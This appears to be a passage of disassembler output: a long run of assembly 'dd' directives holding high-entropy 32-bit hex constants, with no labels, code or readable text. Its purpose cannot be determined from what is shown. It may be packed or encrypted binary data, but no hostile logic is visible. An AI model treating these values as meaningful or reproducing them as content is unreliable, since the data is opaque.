		dd 178B980h, 86E02C95h,	48A444h, 0F6D37943h, 0B5504AB3h
		dd 589DB92Ch, 0BE465Eh,	44B097Ah, 0E38648Fh, 0F1841A13h
		dd 23D82E16h, 0F9980014h, 43D20FE9h, 89919630h,	244E2F30h
		dd 8783A9Dh, 0AA94908Ch, 0CB8780FCh, 0ADE2ACh, 1EC3D603h
		dd 0D7668A5h, 0F2C6C703h, 0C05F3697h, 1321EDD2h, 348E9CD1h
		dd 8E7C8E04h, 7DC070C3h, 0F74B9B68h, 9910EB00h,	502A6484h
		dd 0AADD039Ah, 672F3417h, 4DFDAE80h, 153C9600h,	1F8A076Dh
		dd 0E93118F8h, 6CFE3069h, 99BB2D00h, 0A17773A5h, 300F03A7h
		dd 1467E9BAh, 19989383h, 6D3D3947h, 39D1B12Bh, 0AAF853DCh
		dd 0A54E00BDh, 218A8869h, 3000CB4Bh, 5DC866A7h,	0A0CEE7BCh
		dd 3B4CC34h, 0C701F564h, 0A5C01BB9h, 0BD16D310h, 600F43E5h
		dd 19E1E031h, 0C7339h, 795E30BBh, 70E47D1Ch, 246E49C0h
		dd 66F35h, 0CC408CADh, 0FF0D4A3Bh, 7F086500h, 581CAB7Eh
		dd 30D16189h, 0C890BE64h, 657FB777h, 5A6A8606h,	51637Fh
		dd 8988A9CFh, 0F9311D77h, 0C112017Bh, 1C06C4EAh, 29D3E4h
		dd 32698E6Bh, 0A3763E5Ah, 0C9F07B00h, 7983334Eh, 8F2E01FFh
		dd 0BE89571Eh, 0FD788051h, 5B28F234h, 0DEA909E9h, 0A0815F6Fh
		dd 0C4CCB40Dh, 28C75550h, 0E0BA982Ah, 94A46680h, 1E6E138h
		dd 0A720F6B2h, 7045133Ah, 5D00099Ah, 1F1DAB02h,	5F940D9h
		dd 0EBE1B2B7h, 44A90C38h, 8603E051h, 0E79AFCEAh, 35C10098h
		dd 7092B034h, 0DE01F28Ch, 0F4B8993Bh, 50F4C9AFh, 73A34CD9h
		dd 0C1BA891Bh, 4FBE5880h, 4A0E3500h, 497378DFh,	0A2AB0493h
		dd 0EE68F684h, 9141DC81h, 0B603A040h, 52020649h, 796DE778h
		dd 87404B00h, 0B2E86758h, 54BF008Bh, 0A85212A5h, 1E007C59h
		dd 69B6138Eh, 0E89B4B3h, 5C2AED1Fh, 0DA89A7ACh,	0FAA28300h
		dd 0DBE7CAD8h, 96D10270h, 0FFCEB971h, 895F9CA1h, 92F850DCh
		dd 1A01F96Bh, 877C2FC2h, 83C01309h, 0EC56CE2Bh,	5F325958h
		dd 8EBC98A8h, 1509F701h, 0FA1CDFF6h, 7EEAFDh, 46523B71h
		dd 6C0CFC68h, 0D9AE015Ah, 4EAF308Ch, 0BCC78040h, 0ED960D00h
		dd 866FE11Ch, 9FFCA9h, 0A32673F6h, 1858B5A4h, 0B8715E60h
		dd 3C1243h, 1B937AF1h, 1AD6003h, 55049900h, 1CC72F65h
		dd 7C5B1148h, 0E2E6015Eh, 277A6103h, 3E458DCh, 0CFF648FFh
		dd 597F4F5Ch, 1590B94Ch, 6D8C87DBh, 5DE041F0h, 94F653B4h
		dd 0A3F27800h, 12996742h, 0A40831C0h, 117C32h, 7791462Bh
		dd 0F287A06Ch, 9423260Fh, 0BF7FC082h, 0FEE1F3h,	0D3557696h
		dd 0A111F1CFh, 0E508DF4h, 270FB994h, 2AD1B6B1h,	3EBCB8B8h
		dd 7405806Bh, 31C8ABA9h, 6AF200D0h, 0D62B6CDEh,	5F1FAC53h
		dd 1418B90Eh, 0C4D4E791h, 838A71C1h, 6BA026D0h,	3800175Eh
		dd 3FF7A1B2h, 2ADB8EA2h, 843718h, 0B18DA5B5h, 0EDE909C3h
		dd 8945BF08h, 0CB2880DDh, 5A186B2Fh, 3F072400h,	0E0E45E46h
		dd 38AE18D8h, 5393C0B0h, 8CA38613h, 14422420h, 7D4B00E6h
		dd 9A6E7F07h, 0F677B92Bh, 40ED500h, 703DE8B1h, 0FEF8C5B0h
		dd 9F8201Bh, 0B53C9B20h, 7E3B80E8h, 0A325C439h,	0BAE50043h
		dd 0B6A7FB63h, 0B225B60h, 4ED60264h, 5EB1B918h,	7A63D098h
		dd 0C489E703h, 900D4D35h
		dd 77F64E3Eh, 29B900FBh, 0BE0BCA6Fh, 1312E160h,	0C80278DCh
		dd 2365E783h, 0A3B7DE29h, 0E81417FFh, 829C1BBBh, 0C07BD818h
		dd 1CF730A7h, 0E93D0h, 81B09E53h, 61F18A0h, 0DF40B123h
		dd 40B62202h, 405D48CFh, 327286DFh, 9800115Bh, 8CA97B3Ah
		dd 0F9BE7Ch, 316A2445h,	4B72DAE8h, 4EF903Eh, 8C5E4979h
		dd 390F1488h, 0A080DC5Dh, 1B38EF92h, 0DB016131h, 5782E8B0h
		dd 0EBE01E48h, 80992202h, 0A9F6530Fh, 5C8BBCA4h, 54F80586h
		dd 24076C13h, 0B580C276h, 0A4391FDh, 8452011Ah,	0EC0B0494h
		dd 0A764C25Dh, 0E7BD1501h, 0AB007462h, 0C24EDD25h, 0E9003F9Fh
		dd 0F049548Ah, 1C99CDBEh, 59B9F81Ah, 235E8989h,	53DE04B0h
		dd 8CC103C2h, 0AADC0185h, 13EB2C23h, 0E611140h,	0E0C94675h
		dd 0AE2401E1h, 0D3480076h, 98530625h, 4218021Fh, 0C508FD29h
		dd 3EAEF02Ah, 0A90BBC22h, 600254B8h, 54C4E69Fh,	49008371h
		dd 0AE0FD51Bh, 9DAF1Fh,	53F7DEF5h, 0DD99C721h, 3670CF60h
		dd 30DA1CAEh, 3010754Ch, 65003D76h, 920612D5h, 0EBEDD1B0h
		dd 4C41F840h, 305B4CABh, 58F5201h, 0F85AB327h, 39401892h
		dd 5E0A002Ah, 0CC77606Eh, 30069B57h, 36180451h,	0D630021h
		dd 19283337h, 7A260686h, 0CC135ABFh, 6BD9E430h,	0E891FC13h
		dd 90F200D1h, 0E1F4B7B3h, 0F617E832h, 5000889Dh, 13A4640h
		dd 0B50E017Fh, 9CAA674Ch, 0F423E5h, 0AB0FD8B1h,	5E00881h
		dd 8BE9E7FCh, 0B01000E6h, 0BAF74DD0h, 1BD4D104h, 2888CDBFh
		dd 0A80207F6h, 0DBE63E39h, 66942000h, 0E10F4FDAh, 0E06B9E1Fh
		dd 7A5E2AD2h, 4A703EDh,	8B988A75h, 0C7964100h, 81CF5637h
		dd 0FB2726Ch, 80ADB859h, 88333B24h, 31DE0198h, 6FBEBF3Ah
		dd 947E0219h, 2B8480CEh, 1D044AEh, 10F2ACA4h, 414A55CFh
		dd 17620720h, 285127C2h, 0B97400E0h, 0A086D7E2h, 0F61419C0h
		dd 4EE938h, 89237325h, 8F0E2491h, 3A49983Dh, 80344CEAh
		dd 7752FB5Bh, 902F00DAh, 0B21BC25Ch, 0E00B41Fh,	15EF1270h
		dd 76BAEBFAh, 816800DDh, 0D7CE8979h, 0D1060DF5h, 381B91E9h
		dd 5AA30191h, 96F9F466h, 0C0C5DDCFh, 0B8032C24h, 9949CB0Eh
		dd 0A791C0Ch, 86A9009Fh, 2558F2AFh, 0ED42AE03h,	8170DA2Ch
		dd 0B030CA29h, 80B4B946h, 69226A08h, 0A300B793h, 482D31E5h
		dd 7182E7h, 9DA912E6h, 7A68634h, 0E18A24h, 762E814Fh, 38248C7Bh
		dd 0BFE200BEh, 0E4214D02h, 9E008FBCh, 37A8D9C7h, 0CAA78E98h
		dd 1FEF2228h, 5B93407Ch, 81A8A4B5h, 0FBEB2C01h,	0ACE689BDh
		dd 541B0C74h, 3D805Ah, 8802F1B3h, 120576B6h, 0A03BBB1Eh
		dd 1F9E309h, 0F698FD44h, 2964E842h, 0A80D28A1h,	0DCCC4CB3h
		dd 21A32450h, 1A7239h, 81BACCE1h, 47BC702h, 0A756B9F7h
		dd 6890C211h, 0E8001CC6h, 0A6298E4Bh, 1C089C27h, 0BC5CC2h
		dd 74F39297h, 0FD039553h, 8AB957C3h, 0DCF19913h, 41B6FFh
		dd 64B2894h, 8EE56C0Bh,	17CD409h, 16A08009h, 484F9849h
		dd 2C0084C7h, 125E7352h, 7AE42DA8h, 8B2BEE0Ch, 164D9E9h
		dd 755F7944h, 0D0DFC24Ch, 0F507CFF4h, 5C27AA2Bh, 9C8C3965h
		dd 80FC94E8h, 7DE1E315h, 0A6B0239Dh, 10E47401h,	0C5BEDABCh
		dd 0DE217873h, 370B4417h, 4D44808Fh, 99D207Ah, 0B8B96CBBh
		dd 22E6D411h, 72B300A0h, 3DFB6E30h, 0DE8A2C09h,	0E70F40FCh
		dd 0C8016525h, 11F8B34h, 0A8620B5Ah, 31B70278h,	0B6BFF347h
		dd 0B801C45Ah, 574E8779h, 6840320Eh, 676020h, 85D28D9Dh
		dd 26964417h, 214EF700h, 3C117A1Ah, 24D8B034h, 0F009C58h
		dd 0D1818CD8h, 0DCE538DEh, 4090DA5Fh, 0F04AA82Dh, 0F0BA55h
		dd 64B5AA4Fh, 0A82FF1D0h, 0F71B7701h, 0EEEA3EF9h, 3A4AE6F8h
		dd 1F096DC8h, 806A045Ah, 0DC0010C2h, 4F895DB8h,	33442498h
		dd 0D1096F61h, 2168D902h, 3AE859h, 0D7D83E30h, 1D9E734Ah
		dd 3036C61h, 0F37B0683h, 0F97C2D8h, 3F5141C0h, 0DC784Ch
		dd 5CA3D241h, 0E3B9F97Fh, 0C9D69600h, 144BD9BBh, 88E7258Ah
		dd 85F2D038h, 12D22C03h, 0B0D44B93h, 4A7C59h, 0F0540ADDh
		dd 6DFF867Ah, 90F4D116h, 5C523830h, 0DD9B00AEh,	144547C0h
		dd 8C986D09h, 0AACFF20Ch, 2930295Dh, 80D467B3h,	26804598h
		dd 0B87E8185h, 0BCC6CE00h, 0D4C5DA47h, 3A2D5844h, 9316212h
		dd 0CC40ED08h, 54267177h, 0B340308Ch, 16E688Fh,	49A74B05h
		dd 48E8D7BAh, 0AD0390A0h, 72CF3CFAh, 0C7C3C89Ch, 0C2E30084h
		dd 0F14113C1h, 0E9582B63h, 5EDB80ECh, 141E54h, 0ECF3E195h
		dd 9DC2F4E2h, 0A677B700h, 8A0A16CFh, 43F894EBh,	3C160A9h
		dd 97E8C321h, 3C093602h, 107F5B49h, 0A8BB8C1Ch,	36D7DB8h
		dd 2F05E5Ah, 0A3F831E2h, 9E3EE715h, 84204A07h, 13E6FA3Ch
		dd 883E70B2h, 6701F9CCh, 2304C00Bh, 3738EF96h, 94908C25h
		dd 0FF79AB99h, 0EB273F00h, 179F0214h, 8A1500DDh, 0B71E6DC9h
		dd 49137960h, 601E5630h, 0E200F81Dh, 5002C101h,	0E6A63AA1h
		dd 8853A013h, 694F70F0h, 7C0A68B0h, 9888247Fh, 565B403Ch
		dd 0D900F318h, 4FA9C757h, 0A4382h, 68E41AF8h, 0D2AE03D5h
		dd 5B7A86C3h, 0FE39017Eh, 89A6629Ch, 0C0E832EDh, 3487DAEAh
		dd 27A0041h, 0E2957E04h, 0C6250EC2h, 61F49179h,	7D3DACCh
		dd 0E56D9280h, 0BAC9D023h, 7900C276h, 0CCF2C1E4h, 43DAA9h
		dd 49D09C96h, 1852F72Ah, 0DFACF0C0h, 68853E6h, 9664257Eh
		dd 0EE01A186h, 3D75A0A6h, 0E6F55FA7h, 0CDC448h,	11D8087Ah
		dd 0A0019B3Fh, 0C0E39703h, 80096CB9h, 0FA6618Eh, 9544C59Eh
		dd 2888FA61h, 0C153D4FFh, 36864E04h, 70C8E8F6h,	696713FBh
		dd 0C1EC09E4h, 99132801h, 2898183h, 9BF3C377h, 74592434h
		dd 44455CCFh, 6A91009Ch, 0F0E18996h, 0CFB9D8A8h, 0E6412564h
		dd 7E9A4488h, 7F4A00C6h, 31884DBBh, 2900260Fh, 74E58253h
		dd 29E6976Bh, 80B0D699h, 0B073F4B5h, 0AF75520Dh, 3C984D00h
		dd 36B89761h, 3D6E2F0h,	13F9A94Bh, 0B9E8F130h, 98135324h
		dd 400FCECh, 8CE87648h,	1BAA26DCh, 374F407Ch, 440068F7h
		dd 0EEAB026Ch, 34B90EE2h, 0A2B911C4h, 0D73C7910h, 0DD7D01D0h
		dd 7F5D6687h, 2413EC8h,	80694C68h, 0B8665B4Eh, 7825CF7Dh
		dd 265410F7h, 7C69FA51h, 1CA11745h, 775404AFh, 20648D05h
		dd 361E7EEBh, 9405B53h,	0B98F4E7Ah, 0C01F0A9Ah,	0C07F16h
		dd 1A7789A0h, 0C8FD8AE2h, 5401F5D0h, 13C7CBEh, 0E040A652h
		dd 4F8E96Bh, 8B23BD77h,	6EA488EDh, 7B80C4B9h, 0C6BB746Dh
		dd 86C200D7h, 0FAAE5E1h, 0A50052D5h, 8AC83977h,	14FC5A02h
		dd 0E4E808B3h, 46F71E80h, 0B902CC1Ah, 67E38C05h, 2B6C404Ah
		dd 82AD5C99h, 0CF87DB04h, 97D0B43Eh, 62012891h,	0C65B1F74h
		dd 0B1D0FC21h, 0E88A016Eh, 6DF02D1Ah, 31E0FC89h, 716CE930h
		dd 9A2C0FBh, 80138B6Fh,	0A00357D6h, 0CAD01FB9h,	0FA146632h
		dd 0E13404CBh, 805C2D77h, 8E9FBFB0h, 4098B028h,	0CB043700h
		dd 0CA338BA2h, 0FAF4A6A3h, 4CE307B3h, 30E50711h, 0D8AD5B1Ah
		dd 0D427F403h, 0FD1BA471h, 9326800h, 1AA8549h, 0E19EBE9Bh
		dd 70772288h, 0A537E398h, 98ABA8FCh, 79D22640h,	707D0008h
		dd 6D91B95Bh, 0ECA3E4B7h, 0B0FA3902h, 4E54CF6Fh, 9E7628B0h
		dd 99CE2EFCh, 0AA8A406Ch, 24072252h, 0E0856267h, 6B415AA1h
		dd 1996F884h, 84C8212h,	1DE3E410h, 0E704F721h, 5CF218D8h
		dd 3015B8A0h, 0B0B00EEAh, 9883EF2Bh, 77437403h,	0B812E37Bh
		dd 12F83C78h
		dd 5597597h, 82DC0C9Ch,	0CD2344B4h, 8F800A46h, 0A895CCh
		dd 935D045Fh, 0B00001F6h, 180CB821h, 0D6DA5E58h, 3F3830F8h
		dd 4F4C7202h, 55700E33h, 0A356402Ch, 891136h, 13BF386Bh
		dd 9671D0B7h, 368C50A0h, 2D472403h, 831466D6h, 46B39873h
		dd 64B1798h, 4E8490E8h,	890128E6h, 0FFBBBC8Fh, 0F0600DDCh
		dd 92A096DEh, 0B8582032h, 0A7053EE4h, 6CABF4CCh, 0AEDA9CC0h
		dd 57A007Fh, 778B2FFCh,	7E485AFEh, 5889928Ch, 0F474CE60h
		dd 2EA40036h, 2B3F6D63h, 5200818Eh, 965D05D5h, 12C247Fh
		dd 0B3CFEC61h, 4067E821h, 0EF472924h, 5D5CF209h, 51080457h
		dd 62225854h, 8BA6E800h, 0BA7E3AF9h, 196660E6h,	4BFCC341h
		dd 0F70287F4h, 2E43D240h, 7444E4h, 0A78014F0h, 6FCDDA26h
		dd 4B0045EEh, 90917E1Bh, 704E5674h, 2F870018h, 0B1DA5F9Fh
		dd 0A00AE9D0h, 0BC0E9960h, 0BA1FAF80h, 471D2Fh,	9C7870A9h
		dd 10FFF6D5h, 6B6F407h,	0F041B071h, 143950CFh, 0FC4E3015h
		dd 6C985F2Dh, 0B00DED0h, 2F98ABEh, 7CF74Dh, 5E31CFEBh
		dd 8B35CDBCh, 3099F698h, 0A8FFB808h, 95432430h,	30F90164h
		dd 84D04F8Bh, 7F5A6B29h, 7303E4A2h, 8AB3C2C8h, 60F2E8B2h
		dd 305C07E0h, 0F27C019Dh, 0D654ADD4h, 0B84B1DD4h, 438304ACh
		dd 0A0C85F47h, 64B4EC08h, 8DDBB986h, 0F270E389h, 0E5B00B93h
		dd 0D81880B4h, 0B900C7ECh, 457609BAh, 249C430Fh, 119CA1A0h
		dd 0A1972F5Eh, 2FB18E10h, 51AEF8h, 0FB186DBBh, 0E1610805h
		dd 0DCB36B0Ah, 0F7034089h, 0C073FC6Eh, 1347BD5Bh, 0EF6A83Fh
		dd 898BA33Ch, 0A743CC90h, 36CBF40Eh, 0E31E40EAh, 49CAEh
		dd 0F505D6F2h, 236C9351h, 20D8B151h, 3898A148h,	0F28A1000h
		dd 61F71778h, 0F876EABCh, 42C4A6E2h, 0E7327CC5h, 0C43299A5h
		dd 3E902B4h, 960B6D9Fh,	65B4A40h, 7A00C8A4h, 125C79B8h
		dd 5A0CE7B1h, 653420BCh, 81755646h, 0CE12A07Ch,	24085020h
		dd 5808804Eh, 3AE9B104h, 0DABE2F14h, 5EAC81C4h,	6C3998B3h
		dd 0A538AD00h, 1FB806F2h, 27754702h, 64E645BBh,	0BDAB030Ch
		dd 7D52CC9Dh, 185791E0h, 0C73460A1h, 0F7A699F0h, 0D1BEDB0Bh
		dd 3B6C9422h, 0D580524Dh, 5A96A5E1h, 79016444h,	286BECBDh
		dd 0C4E4D7F2h, 9C8D52D6h, 21F76307h, 0B04B00ADh, 0D10149DAh
		dd 8B672AD2h, 44331330h, 53A53500h, 15998AC6h, 490739FEh
		dd 0B6076275h, 23719810h, 59D2608Ch, 519A88B0h,	0B47DF600h
		dd 0F38D22EFh, 0D0184CFFh, 63CA6280h, 600250E5h, 899203BCh
		dd 4410ECE6h, 0BA0E2587h, 20400123h, 0CF4B6C94h, 274F5A56h
		dd 184EFF40h, 0CC60BB80h, 0D7EFDAE5h, 0CF5A2100h, 0D79B67A6h
		dd 5C600F8h, 0BFF52813h, 0B3123927h, 6430F749h,	1DA6546h
		dd 0F00302A9h, 299887B5h, 33FC0084h, 786E30A0h,	117701Eh
		dd 85E1B072h, 3CB7B9ABh, 40E5880Ch, 0E78A0661h,	5307B8A4h
		dd 4FBA76A0h, 0CEEBC3CFh, 0CA0EB813h, 0DBD709CFh, 0BA047259h
		dd 6980A041h, 1DBB8B5Ch, 0E4523C88h, 10CCF832h,	45189105h
		dd 4B384C47h, 11E40958h, 4C03F37Ah, 52A1F6B6h, 30087486h
		dd 8401572Fh, 74C2263Ch, 25F8C048h, 89D7023Dh, 18210613h
		dd 204CACF2h, 316A003Fh, 0F49DFA87h, 80A30DD1h,	0F0C0707Eh
		dd 4D18BEB6h, 0A780194Ch, 0A489305Fh, 0EEE4A5A9h, 83F31B3Fh
		dd 0C1B8FADAh, 61D0E849h, 0C1C1DD7Dh, 0DBE2B90Eh, 808C28D6h
		dd 548FD022h, 0CF130C55h, 98194851h, 1C00FC99h,	0C18D94Ah
		dd 0C31900D4h, 0ADDE2194h, 900275B0h, 66FF591Fh, 0E090C02Eh
		dd 4378B45Bh, 61E06201h, 0A13A5CFCh, 321B18F6h,	557B861h
		dd 560C4EA0h, 4AA000DBh, 55A8A75h, 11902295h, 3F08F962h
		dd 5985E8BDh, 0A2B1EE74h, 0F0D401A0h, 0E6D13980h, 515C20h
		dd 7E9C93E2h, 620FE8ACh, 825AB071h, 85586C04h, 7A198C3h
		dd 0C583E010h, 5330E2FCh, 5C4E8084h, 8F000152h,	0AE0997A5h
		dd 580CF4C7h, 0E11F50E8h, 0B2C692FFh, 0D25A18ACh, 1D8E4A1Eh
		dd 0C0D5D308h, 66A6FCADh, 820326DEh, 1801AA42h,	0E8610061h
		dd 4022EE7Ch, 0BA008A43h, 0E0A2312Eh, 7E479D4h,	7B59218Bh
		dd 7C269268h, 31E59081h, 607C5733h, 79DC0AFBh, 0D41F9D00h
		dd 31AD41A2h, 0FF76015Ah, 0A5662B26h, 0A6F8206Ah, 101BA9C9h
		dd 7B5E7D8h, 0DA7BA37h,	6376E08Fh, 890758CEh, 841CED52h
		dd 502BE151h, 498AB900h, 0BDE6E40Bh, 0F65C90E7h, 227F4B0h
		dd 175F53Ah, 7C5C8293h,	0E2888C4Eh, 9723005Dh, 0BAB43A7Ah
		dd 0E13FA6F4h, 3FA1091Eh, 19E4589Ch, 84607449h,	80106CD4h
		dd 0CA7ABEF7h, 19EE00CBh, 4DDFDA41h, 1095133Ch,	1012C4h
		dd 0CF81AC1Ah, 2EA35F67h, 320126B0h, 1823A9EDh,	44603870h
		dd 2644502h, 182952F4h,	5C473Ch, 0B9FC717Eh, 217F7296h
		dd 693B1307h, 0F944B3Ah, 88972B40h, 487291CDh, 0DD9F6A00h
		dd 42D53F4Dh, 0F94A009Dh, 56080F13h, 0EC9455CFh, 0B5F256Fh
		dd 0CD07EC80h, 1C9C40h,	0B6958C7Eh, 0B95486D8h,	10E6DD4h
		dd 40E01626h, 132B100Ch, 0AB5E0060h, 0AF1E7F6Fh, 0BE5F9B44h
		dd 6692AC00h, 0B015F08h, 0EFB1C4Bh, 5AFFC4A1h, 3774209Dh
		dd 26E9E00h, 5298C150h,	0BA11F719h, 702A6074h, 888F0B0Bh
		dd 0C188041h, 784783D7h, 0B77C0406h, 0B40B61DBh, 0BE4B04D0h
		dd 5881D48Dh, 5D11F0C0h, 1E708583h, 2CC08E9Bh, 2E297FA9h
		dd 0D3FB2Ah, 856FE77Ah,	90A131E6h, 7BA0C3Eh, 0B15A99C0h
		dd 34009B71h, 35B481Eh,	8C52DCA4h, 5830390h, 9821177Ah
		dd 0B8803B5h, 6B3F3A6Dh, 902F6AEh, 0ECC693B2h, 0D6DF0E0Eh
		dd 0CFE0829Eh, 9445154h, 0B006284Dh, 0A301B0F2h, 94AB045Eh
		dd 808B60E1h, 30846EB9h, 0D19A4088h, 4737986h, 0A368C9D7h
		dd 0ED6FC61h, 175AB1E4h, 4253E0C8h, 7E13704Eh, 2002300Ch
		dd 61B1900Ah, 27103688h, 70F4243h, 9EDAC6h, 0B90F624Bh
		dd 798161CEh, 0D0718B7Fh, 18B96D38h, 0DAE7E980h, 1E1B5BE6h
		dd 53ADEA6Eh, 7D4C218Ch, 0D9FC6FF0h, 72FC9000h,	42B15CEDh
		dd 11EBE403h, 0BA1CA27h, 0FF569EF8h, 0D40E8844h, 64E0EA3Ah
		dd 4DC0F2EBh, 1DBFC6C4h, 1A538B06h, 0C46229B9h,	5C2BFC40h
		dd 0F1C0F094h, 0A2C4B9B7h, 0F8B46014h, 9C4E5830h, 2656731Dh
		dd 55E1ED5h, 92519B0Bh,	6C7859C8h, 20910424h, 18038380h
		dd 1DB10DFAh, 3937E7E6h, 0B0FB718Eh, 0D94426E7h, 8B80842Fh
		dd 187A90A9h, 891259E0h, 500057DBh, 0B11D5A9Bh,	0FAD70F8Ah
		dd 0EBC9915Ch, 0CC426C44h, 4C03544Ch, 9E7B7CF7h, 6B275812h
		dd 74D23089h, 0BD744178h, 18EE3026h, 74013AF9h,	2BB0044Ch
		dd 161464h, 0BF500148h,	395CD267h, 1B2A3090h, 0C4EC8C4Dh
		dd 4E2E7C00h, 53C3D7F1h, 0B859763Eh, 0D0E82268h, 7C30B309h
		dd 957B8191h, 98ABCFEBh, 5DC30070h, 1DFA43A2h, 0AC1AEB26h
		dd 65C89301h, 0A3F98CADh, 301FCC20h, 0A9086D21h, 7B053273h
		dd 1078D1B7h, 425D40C0h, 8D0D0B1Bh, 0B49097C3h,	1501453Bh
		dd 0D3A0C722h, 203A731Ah, 0C01748E4h, 26441800h, 981E96B8h
		dd 0CCB6508Eh, 0C8944B2Ah, 2B0084E0h, 23B3288Fh, 548547DFh
		dd 0BFCC35h, 4277ABF6h,	0E2E92E69h, 4C3AA9F8h, 0DB267AA5h
		dd 0C5083880h, 0FF4E8E8Dh, 0ADA79360h, 610028C0h, 0CED0B1D7h
		dd 0B807541Ch, 0B7E112F8h, 9720CCBEh, 6B8384B4h, 0A2174237h
		dd 0DE0DF1Ah, 0B80371D8h, 24906A16h, 0A0C084ABh, 2641CCCFh
		dd 11185EBFh, 61301744h
		dd 5F772002h, 8850D7h, 0AFA75D74h, 0D3E2BE85h, 0A11BFD25h
		dd 0E3B96F6Ch, 2C1513C8h, 11444F18h, 1B760365h,	0B0A6BE5h
		dd 7B1DE9C0h, 0B8EDA484h, 9ACEC268h, 6A1C76AEh,	1242430h
		dd 0B5316EEBh, 35AE00Dh, 0D7216860h, 1650766h, 7973F07Bh
		dd 23B2BE7Dh, 0FA1F0FD8h, 1E28745Ah, 0B0C17EBh,	9E8911D2h
		dd 0A6A78190h, 0CC1DFB10h, 77003C73h, 0F5B9F740h, 3CC9DC8Ah
		dd 0ED85D0C6h, 0E69F53h, 0E942CA6Ch, 70940899h,	1F96C940h
		dd 0ECC70B74h, 13803712h, 2471FC45h, 8F52DB14h,	35021B4h
		dd 8E34EFB6h, 7065E94Ch, 0CF616B61h, 0AC364438h, 0C8D7C113h
		dd 30769A94h, 0FCEFA201h, 0DDB14512h, 98399531h, 0A774FF00h
		dd 3EEA9F40h, 0E7226E1Ch, 68F7E140h, 2C025C26h,	6047A8h
		dd 14CDEABh, 0C4999965h, 4090FC00h, 796C59ACh, 12A0C13Eh
		dd 106AE931h, 1814CA1h,	4FD44A99h, 20B340D8h, 0CA0159A1h
		dd 0BE015C30h, 0B0D1EF8Ah, 2256E420h, 69005B1Bh, 8B68CABBh
		dd 1597911h, 6D0B97A8h,	2C129AA9h, 427580B8h, 0C2772Fh
		dd 9FFF878Eh, 0D4F1C901h, 0B6D24502h, 61D958BBh, 0B813805Ch
		dd 20406EF7h, 0EFAF5309h, 3644D898h, 30014961h,	6321B890h
		dd 8979A902h, 0B9385AE5h, 0DA6D00E4h, 0C90C3E4Fh, 9EA9FF1Dh
		dd 0D0925C00h, 27B85D2h, 431465BEh, 0A454574Fh,	24748941h
		dd 9C9ACCCh, 0EF200447h, 8E1A082h, 0C71E54F9h, 52975642h
		dd 42207CBFh, 0AE206DE6h, 19E381h, 2F93F3B9h, 89AD5C14h
		dd 302702B8h, 38941054h, 15A300E8h, 720ED5C3h, 721A286h
		dd 93638E04h, 7F6C6020h, 0CB02A856h, 6B3C789h, 84546052h
		dd 6D94010Ch, 0AEF71AE9h, 0CFA8306Fh, 0AD389F39h, 0D988905Dh
		dd 0B99E01BDh, 0B3BEFF49h, 0C4B9A718h, 0F94B00DCh, 0D5F20431h
		dd 0D000B71h, 9C272BA6h, 1C14AED8h, 0F0B99A8Eh,	0F54EA878h
		dd 0DBAC5100h, 7C240919h, 1F4D0995h, 14B0DE8Ah,	6E38BED8h
		dd 4CB68006h, 8AEB07C6h, 64A09D98h, 55FDA7ECh, 22B92800h
		dd 9F31D6DBh, 0B68F0199h, 0E689A86Bh, 0A028472Bh, 425FCFFDh
		dd 0C509D9CEh, 0AC816201h, 8BED6A27h, 53005063h, 7C09E199h
		dd 7A124C4Dh, 20CCB3Ch,	7589304Bh, 44F77436h, 0B801F3D6h
		dd 0BD090F60h, 0C080B954h, 5B4922BFh, 0DE9856B1h, 5E174099h
		dd 206E501Eh, 0A0436817h, 1D338FE3h, 0E7898C18h, 0EE5A6891h
		dd 0CABEB056h, 0DEC71840h, 0C48594h, 0C566C952h, 743B070Dh
		dd 1C060B13h, 40F0C007h, 0CCD7B7D0h, 0F95C6155h, 23D94F30h
		dd 46B101BCh, 0AD6995F2h, 3C6DDE8h, 1FF4A2Fh, 0C209437Ah
		dd 4856CF5Fh, 16E76Ch, 605D597Bh, 898E7376h, 4CADEC2Ch
		dd 94D03296h, 7E038471h, 777E02C9h, 0E1886818h,	0D46CB091h
		dd 94003DDDh, 47A56A0h,	58D6CCABh, 6E024061h, 1424F562h
		dd 0F008C59h, 7385D4E0h, 0AFB40161h, 0CE0E15ACh, 34E0EF36h
		dd 0BF403386h, 241E5CB1h, 0AD8F93C0h, 714C28F1h, 85361280h
		dd 300700B3h, 4B01778Bh, 2C9FB8E0h, 183A4Ch, 9A4229B1h
		dd 4CA270EEh, 1C803C96h, 9C5A4F40h, 0C25B4C0Bh,	84F48865h
		dd 3821E212h, 0D7E4ACAAh, 9CE4F217h, 95B38030h,	0E89DE344h
		dd 0C4C3D2Eh, 0D64B8E03h, 27F82E62h, 60302E0Ch,	99B924E1h
		dd 0C3815492h, 30870C5h, 8AB8130Eh, 2AB980B6h, 528B3180h
		dd 6303B0EAh, 0B0DB46B7h, 0FD877CE0h, 56C4B09Dh, 0F02F894Eh
		dd 5A58687Fh, 12EC4C8h,	0FA2DB4CCh, 0B7840004h,	0EB40AB10h
		dd 3001D8E5h, 55E7E1F5h, 0C2FF151Bh, 767464E9h,	817114F7h
		dd 81DEC4E4h, 0A990070Ch, 98060ABh, 12E16100h, 450E5062h
		dd 0B95527A5h, 0D900F4E4h, 38F7A670h, 282B7446h, 0D01640h
		dd 4DFA5399h, 6C1AF5E9h, 0F7586EE8h, 3FAF1575h,	0F1900338h
		dd 0AC67F365h, 78B4B2h,	0BFB1FF13h, 0A4687161h,	1CE1A209h
		dd 0C0938B6Fh, 4FE3ED14h, 0E68C0217h, 687C2315h, 0B9608C68h
		dd 3D69A83h, 3148356Ch,	4D802601h, 7A2C6605h, 583DA42Eh
		dd 0B3741288h, 8C0094F3h, 9DFB46B2h, 8200C390h,	5DA75B02h
		dd 9950659h, 74523F2Bh,	0A3B3000Fh, 0FAE40484h,	98A4F385h
		dd 18981Eh, 7CF979F6h, 5A8A63FFh, 10F40A53h, 909B513Eh
		dd 91B81FC8h, 24154713h, 71D1E80Eh, 8A0CCC4Eh, 2B131370h
		dd 90C8F15Dh, 740F017Bh, 0E28FCCEFh, 0D0FC6159h, 0A09486CFh
		dd 9EF25D80h, 0EAE39CD4h, 17EF3971h, 0FC50AAB4h, 168458CCh
		dd 2CF41801h, 53700092h, 1E8ABD89h, 8E3DD472h, 40FB00F5h
		dd 0D0CD43E1h, 187D272Bh, 706AC8C1h, 0EAF602F8h, 359AD706h
		dd 6075C7h, 0D1718FB7h,	25C6F3E5h, 0C4017A27h, 3BC200F0h
		dd 0E2BB88C9h, 1D009F74h, 8BA17FB8h, 0B5DDB0Dh,	0D0ED89B0h
		dd 8414018h, 0E803FA16h, 0FF5F0B2h, 62018B20h, 61FBCE40h
